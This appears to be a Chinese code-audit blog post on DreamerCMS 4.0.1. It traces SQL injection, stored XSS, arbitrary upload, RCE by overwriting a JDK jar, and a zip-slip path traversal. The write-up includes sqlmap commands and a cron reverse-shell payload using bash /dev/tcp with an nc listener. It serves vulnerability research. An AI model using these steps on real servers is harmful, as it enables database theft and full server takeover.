SQL注入
全局搜索${
定位到这块dreamer_cms_4.0.1\src\main\resources\mapping\ArchivesMapper.xml
向上跟进找到接口调用处
继续向上寻找,发现有两处调用queryListByKeywords
后台首页搜索处存在SQL注入
我们分析,先定位到第一处dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\service\impl\ArchivesServiceImpl.java
在向上寻找dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\controller\admin\SearchController.java
该功能点在首页搜索处
抓包并把keyword参数改为typeid
1 | POST /admin/search/doSearch HTTP/1.1 |
保存文件、sqlmap一把梭:
1 | python sqlmap.py -r D:\Desktop\test.txt -level=5 |
前台首页搜索处存在SQL注入
刚刚我们分析过后还有一处也调用了queryListByKeywords
位置在dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\taglib\tags\PageListTag.java
删了一些没有关系的,留了点比较重要的
1 | public String parse(String html, SearchEntity params) |
可以看到先创建了一个searchParams
的集合,之后就是把typeid
参数放进这个集合没有任何过滤。
接着就是继续寻找parse
方法的调用处,看看在这之前有没有做啥过滤。同样是在当前路径下的parsePageList
方法
可以看到也是没有做任何过滤
那就继续向上寻找,最终是定位到dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\controller\FrontController.java
在/search
下接受的params
实体类,那就看他中有没有对typeid
参数过滤
对typeid
参数没有处理,但是这块做了一些限制。若不满足,就会终止:
- 必须包含entity[‘keywords’]、pageNum、pageSize这三个参数(pageNum、pageSize参数有给默认值,我们发请求不携带也OK)
- keywords不能少于5个字符
所以我们满足这两个条件即可!
我们在页面中找到该接口在前台搜索处
抓包、添加entity[‘typeid’]参数,并且保证keywords长度大于5.
保存数据包sqlmap一把梭
1 | python sqlmap.py -r D:\Desktop\test2.txt -level=5 |
1 | POST /search HTTP/1.1 |
XSS
前台首页储存型XSS
前台刷新页面触发
数据包
定位到dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\controller\admin\CategoryController.java
没有做任何过滤就存到数据库中
后台附件管理文件任意文件上传导致xss
抓包,可以看到文件路径
然后访问即可,有点鸡肋
other
RCE
https://n1k0la-t.github.io/2023/01/31/DreamerCMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/
cc/iteachyou/cms/controller/admin/TaskController.java#runTaskCron
调用了Class.forName()
,参数可控。
由于Java的懒加载,我们可以通过覆盖JDK安装路径下未被打开的jar包,在没有被加载的类的静态代码块中写入恶意代码,再利用此处的*Class.forName()*加载类,执行类中的静态代码。但是由此引发了一个问题,如何获取JDK安装路径?实际上,DreamerCMS的后台仪表盘已经为我们提供了JDK安装路径。
需要注意的是,在一些较低的JDK版本中,并不存在懒加载。
8u181
8u212
这里选择覆盖没有被打开的*/usr/local/openjdk-8/jre/lib/ext/zipfs.jar*,制作一个同名jar包。
制作恶意压缩文件,覆盖*/usr/local/openjdk-8/jre/lib/ext/zipfs.jar*。
1 | import zipfile |
最后添加计划任务并执行,通过任意文件读取漏洞读取命令执行结果。
后台压缩校验不正确导致Getshell
奇安信攻防社区-Dreamer CMS 代码审计 (butian.net)
漏洞效果
我们先在 Linux 系统创建..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root
文件,并写入远连命令。
1 | echo "*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/7777 0>&1" > ..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root |
打包完后,通过风格管理上传该压缩包。
提示主题描述不存在,问题不大,这说明解压完成了。
在后台日志输出也能看到解压完毕。
接着我们到服务机器上看到我们的文件已经写进去了。
通过nc -lvvp 7777
成功获得服务器权限。
漏洞定位
Controller文件:src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java
在添加主题中调用了unZipFiles
,我们具体看看这个工具类方法。
工具类文件:src/main/java/cc/iteachyou/cms/utils/ZipUtils.java
代码是常见的文件解压操作,针对压缩包内文件名做了../
判断的校验,但在后面的代码里,使用正则将文件名内的*
全部替换成路径符号/
。值得注意的是,这里没有校验..\
,这同样会造成目录穿越。..*..*..*..*..*..*..*..*..*..*var\*spool\*cron\*root
变成../../../../../../../../../../var/spool/cron/root
导致目录穿越的产生。在Linux情况下,我们可以写计划任务或者写SSH私钥可以达到获取服务器权限的目的。Window的情况下可以写恶意EXE到桌面钓鱼。